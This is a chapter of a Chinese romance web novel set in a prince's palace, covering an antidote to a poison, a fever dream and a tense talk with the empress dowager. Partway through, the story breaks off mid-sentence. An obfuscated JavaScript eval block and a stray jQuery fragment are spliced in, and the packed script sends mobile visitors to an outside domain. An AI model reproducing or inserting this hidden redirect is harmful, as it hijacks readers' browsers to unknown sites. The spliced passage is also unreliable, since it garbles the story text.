24. 真心初露

作品:《替嫁王府后躺平了

    李徽容见到丘朴时,他已经浑身是血。


    往日里风流小道士的风采荡然无存,可怜巴巴地蜷缩在牢房潮湿的稻梗上。


    之前受刑时,他咬死不肯说出鸩肠霜的配方,就是为了给自己挣扎出一条生路来。


    “没想到举世闻名的李神医,竟是个这么年轻的姑娘,”丘朴忍者全身的疼痛,撑着自己坐起来,“在下丘朴,姑娘幸会。”


    李徽容看向他狼狈的手,手上的指甲已经全部拔出,脆弱的皮肉露出来,血迹未干。


    她的心里闪过一丝不忍,“你说,我写。”


    “李姑娘就这么肯定,我一定会把配方告诉你。”


    “现在可以说了,”李徽容语气平静,直直地看向丘朴的眼睛。


    “你若真不想说,何必受这些刑罚,一颗毒药结果了自己岂不是方便。”


    她顿了顿,又说:“你应该不缺毒药吧。”


    “哈哈哈哈哈,”丘朴忍不住笑了起来,胸腔震动之下带起一阵撕心裂肺的咳嗽,疼得他差点昏厥过去。


    “李姑娘爽快人,鸩肠霜的配方可以告诉你,但你得替我带句话给王妃,我想见她一面。”


    李徽容摊开纸笔,将一味一味毒药名、比例等都记了下来。


    丘朴看了眼,点了点头。


    李徽容却看着鸩肠霜的配方陷入了沉思,这是必死的毒药,王妃怎能撑那么久?


    “或许是之前我给过王妃一个香囊,那香囊中有些药材能抑制毒性发作。”丘朴看出了她的困惑。


    李徽容并不认同这个说法,但毒经和医经不同,当下也说不出个所以然。


    “李姑娘,”丘朴喊住她离开的背影,“你一定要转告王妃,请她看在香囊的份上,见我一面。”


    李徽容不解其中意思,但点了点头。


    -------------------------------------


    李徽容无愧于神医妙手的称号,拿到鸩肠霜配方后,几经钻研便写了一道方子出来,入夜之后送与王妃服下。


    在林熙昏迷的梦境里,她像一缕游魂。


    飘过巍峨高山和潺潺溪流,也飘过人烟闹市和荒凉峡谷。


    不知道自己要飘去哪里,只是这里看看,那里闻闻。


    旁人都看不见她,还怪好玩的。


    终于有一天,她看到了熟悉的院墙。


    山水庵里,初夏的阳光带着凉凉的山风,裹挟着围墙边一盆盆茉莉花香,淡淡的香气笼罩着整个院落。


    院中间有个穿着灰蓝色道袍的小女孩,抱着一大捧莲蓬,心无旁骛地坐在板凳上剥莲子。


    她师父盖着一张灰棕色薄毯、斜倚在竹藤椅子里摇着一把蒲扇,假寐。


    她高兴地飘过去,围着师父吵吵闹闹,又伸手想要摇醒师父。


    “师父!是我,我回来了!”


    “你快看看我啊!”


    但师父像之前她遇到的人一样,看不见她,也听不见她。


    她又着急的满地乱转,就在这时,院门“吱呀”一声被推开了。


    走进来一个高高瘦瘦的清俊少年,手里拿着一只红色燕子风筝,笑着冲小姑娘招手。


    “阮阮,过来。”


    小道姑笑弯了眼,放下莲蓬,蹦蹦跳跳地跑去,牵着人走。


    看着缓缓关上的院门,她反应过来,飞快地朝院门飞去。


    我也是阮阮啊,等等我!


    突然一道刺眼的白光盖住了她的双眼!


    她想抬手挡光,却发现手脚都被锁链禁锢着。


    她不顾一切地奋力挣扎、大声呼救。


    流了满头满脸的汗与泪,狼狈不堪。


    可师父仍然在假寐,徐家哥哥已经走远。


    山水庵的夏日依旧宁静平和,只有她的世界在天翻地覆地崩溃。


    “林熙!”


    一声厉呼之下,她从梦境中醒了过来。


    “我在这,你不要怕。”


    林熙服药后,成煦一直陪着她,他抬手擦去林熙额前的冷汗,又轻轻理顺有些凌乱的头发。


    林熙睁着一双眼,直勾勾地看着他,眼中透着茫然与无措。


    陡然间,她的瞳孔急剧收缩,一个劲儿要将自己从成煦怀里挣脱出去。


    “我不要死,我不要死,你让我走,快让我走!”


    成煦双手如铁,握着她的肩膀,目光直直地探入林熙的眼底,安慰道。


    “已经没事了,这里是太初殿,不是寿康宫。”


    太初殿就不可怕吗,太初殿和寿康宫有什么区别吗?


    都是要人命的地方!


    快走快走!


    她挣扎地更加剧烈,“你们都不是好人,放开我,快让我走!”


    成煦剑眉紧蹙,将人紧紧抱在怀里,道:“那谁是好人,江怀璟吗?”


    林熙听到这个名字,慢慢安静了下来,神智也一点点回来。


    最后,她趴在殿下的怀里,闷闷地说了一句:“好端端地提他做什么?”


    “不闹了?”成煦见她已经冷静下来,着人又将李徽容召了过来。


    -------------------------------------


    即便是在深夜,李徽容来地也很快,脸上没有困倦,神色清明。


    林熙是第一次见李徽容,想到自己之前中了先太后的毒药,若她真是神医,肯定看得出来。


    那她要怎么圆谎?


    林氏女身中剧毒,还是自己的嫡亲姑姑下的,以殿下多疑的性子,半个字都不会信。


    若殿下查出自己是个冒牌货,多年的欺君之罪,恐怕等不到多年后自己毒发而死。


    殿下现在就会立刻下令,午门处斩。


    想到此处关节,她就不大愿意让李神医号脉。


    一双手藏在被子底下,两个姑娘四目相对,一室安静。


    成煦原本已走到落地罩外,回头见状又走了回来,手伸到被子里,抓出林熙的右手。


    “李姑娘,号脉吧。”


    林熙幽怨地看了殿下一眼,想要抽回手,却怎么也挣扎不动,只能听天由命地闭上眼睛。


    李徽容敛眉凝神,指尖轻搭在林熙的腕间,细细诊脉,半晌后脸上带起几分真切笑意。


    “恭喜殿下,恭喜王妃,毒已经解了,但后续两日仍需继续服药。”


    “毒真的解了?都解了?”


    她睁开眼,欢喜在心里炸开了锅。


    难道这次还因祸得福,将身上的毒都解了?


    “王妃不必担忧,鸩肠霜的毒性虽霸道,但确实已经解了。”


    林熙眉梢蹙起,只说了鸩肠霜,她是没有诊出来之前的毒吗?


    连能活死人、肉白骨的李神医都没有诊出来吗?


    李徽容将王妃的反应尽收眼底,或许之前的猜测没有错,王妃体内确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766357|157226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实有古怪。


    “殿下,我先去调整方子,这两日我会继续来为王妃诊脉。”


    成煦点点头。


    林熙依依不舍地看着李神医收拾药箱,看着那一抹单薄的背影消失在落地罩外。


    天已破晓,晨光透过淡薄的云层,悄然落在窗棂之上。


    成煦静静地凝视着那一缕熹微光线,冷峻面庞也染上了几分温度。


    他转身走向床榻,和衣躺下,又轻轻伸出手臂将林熙搂在怀里,动作轻柔又坚定。


    林熙人虽然清醒了,但周身的力气仿若被抽干,手软脚软,挣脱不开。


    她不想被抱着,觉得不舒服,于是劝道:“殿下,天已破晓,你该去上朝了。”


    成煦置若未闻,依旧闭着双眸,浓密的睫毛在眼睑下方投下一小片阴影,下巴上冒着一点青须。


    “他们能有什么事,少上一日无妨。”


    话毕收紧了几分手臂,将林熙牢牢禁锢在怀中。


    怎么她中毒昏睡一场,殿下竟也跟着昏庸了起来?


    但她没有多少力气,很快就又昏沉沉地睡去。


    -------------------------------------


    在林熙昏迷的两日里,太后曾多次想见成煦。


    但成煦都着人打了回去,一概不见。


    如今林熙已经醒来,他去了一趟寿康宫。


    寿康宫已不像之前那般古朴雅致,廊上的鹦鹉、画眉早已不知所踪。


    冷冷清清、没有人烟的落败模样。


    成煦到了精舍,太后穿着朴素淡雅的道衣,头上没有钗环,只用一根木簪子将长发挽起。


    她半躺半坐在榻上,背后靠着一只大引枕,示意成煦在旁边坐下。


    “母后。”


    “她死了没有。”


    成煦脸色沉了下来,“一代人有一代人的仇怨,母后为何一定要迁怒到林熙身上。”


    “那就是没有,”太后的容颜早已老去,经此事后更是白发如潮,她像是散了一口气般,整个人都枯萎了,“你说我是泄私愤,可我不能吗?”


    她的目光落在虚空处,“因为林氏女,我的儿子含冤离开我,我的丈夫厌弃我,如今。”


    她看向身边的儿子,眼睛里充斥着难过与愤恨,“我的另一个儿子,也因为林氏女,指责我、仇恨我。”


    “我不该恨她们吗?我不该杀她们吗?”


    成煦平生第一次,如此认真地看向自己的生身母亲。


    也是第一次,自己的生身母亲向他索求一点安慰。


    给母后看林沐瑶在宝华殿给他的书信,她会得到宽慰吗?


    让她知道,成衍并非父皇的儿子,而是太子哥哥的儿子,她会得到宽慰吗?


    或许会,但他不能这么做,江山社稷、皇室血脉不能沾染上丝毫暧昧。


    “母后,去行宫吧。”


    “远离这里,修道也好,念佛也好,就当为了太子哥哥,京中的事情不要再插手。”


    “齐氏在狱中已经承认了,是她恩求不成,反生杀机,指使太监赵锦毒杀太后。”


    太后笑了一声,浑浊的眼睛里带着嘲讽。


    “成煦,你如今倒是想把她藏起来了。”


    “可你们之间隔着姓氏的仇恨,你一心想保她,可她却不见得愿意同你在一处。”


    “你晓得,她喝毒酒前最后说了什么吗。”